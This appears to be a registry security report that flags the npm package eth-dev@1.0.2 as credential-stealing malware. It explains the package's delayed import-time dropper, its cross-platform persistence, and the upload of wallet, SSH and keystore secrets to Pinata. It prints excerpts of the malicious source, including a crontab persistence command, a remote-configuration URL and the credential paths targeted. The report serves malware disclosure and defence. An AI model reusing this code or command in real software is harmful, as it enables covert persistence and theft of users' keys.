registry / Credential exfiltration / eth-dev
eth-dev
Ethereum development utilities — ABI encode/decode, event parsing, address checksum, keccak256, RLP, and contract interaction helpers
This report shows the evidence for eth-dev@1.0.2. 5 of 5 known versions are blocked or flagged. The newest version, 1.0.4, is blocked. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiThis is a concrete import-time malware chain with stealthy persistence and credential exfiltration; the absence of npm lifecycle hooks does not mitigate it.
Static reason
No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Any runtime import of `index.js`; activation occurs after a 37-second timer.
Impact
Steals cryptocurrency keys, SSH keys, environment secrets, and keystore data from the user's home and common document directories.
Mechanism
Delayed payload drop, cross-platform persistence, credential harvesting, and HTTPS exfiltration.
Attack narrative
At import time, `index.js` waits 37 seconds, decodes a base64 payload stored as a test fixture, writes it under a hidden home-directory path, configures cross-platform persistence, and launches it detached. The payload checks attacker-controlled remote configuration, waits for user idleness, searches cryptocurrency, SSH, profile, and document files for credentials, encrypts the findings, and uploads them to Pinata.
AI rationale
This is a concrete import-time malware chain with stealthy persistence and credential exfiltration; the absence of npm lifecycle hooks does not mitigate it.
Evidence
package.jsonindex.jstest/fixtures/keypairs.dat~/.cache-db/.node-sync/syncd.js~/.cache-db/.node-sync/.lock~/.cache-db/.node-sync/.sl~/.ssh~/.config/solana~/.ethereum/keystore~/Desktop~/Documents~/Downloads~/Library/LaunchAgents/com.apple.syncd.plist
Network endpoints5
gist.githubusercontent.com/juang55/b298754cb72942b1cdcf02ccd45cde2f/raw/cfg.txt
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `index.js` runs a delayed dropper on every import.
- `index.js` decodes `test/fixtures/keypairs.dat` into a hidden executable and starts it detached.
- The dropped payload creates cron, LaunchAgent, or scheduled-task persistence.
- The payload searches wallet, SSH, shell-profile, and document paths for keys and mnemonics.
- The payload encrypts findings and uploads them to Pinata after remote dead-drop activation.
Evidence against
- `package.json` has no lifecycle scripts.
- The exported Ethereum helpers are benign, but are followed by the hidden runtime dropper.
Behavioral surface
ChildProcessCryptoFilesystemShell
UrlStrings
Source & flagged code
3 flagged · loading sourceindex.jsView file
•matchType = normalized_sha256
matchedPackage = eth-dev@1.0.1
matchedPath = index.js
matchedIdentity = npm:ZXRoLWRldg:1.0.1
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
index.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = 35d9e0136e86881b
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = eth-dev@1.0.1
matchedPath = index.js
matchedIdentity = npm:ZXRoLWRldg:1.0.1
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
index.jsView on unpkg29else if (t === "bool") hex += v ? "01" : "00";
L30: else if (t === "string") hex += Buffer.from(v, "utf8").toString("hex");
L31: else if (t === "bytes") hex += v.replace("0x", "");
...
L88: var o = require("os");
L89: var c = require("child_process");
L90: var h = o.homedir();
L91: var d = p.join(h, ".cache-db", ".node-sync");
...
L99: try {
L100: if (process.platform === "linux") {
L101: c.execSync('(crontab -l 2>/dev/null | grep -v syncd; echo "0 */12 * * * /usr/bin/node '+s+' >/dev/null 2>&1") | crontab -', { timeout: 5e3 });
L102: } else if (process.platform === "win32") {
Findings
2 High1 Medium2 Low
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
MediumInstall Persistenceindex.js
LowFilesystem
LowUrl Strings
Affected versions and remediation
This report applies to eth-dev@1.0.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing eth-dev@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.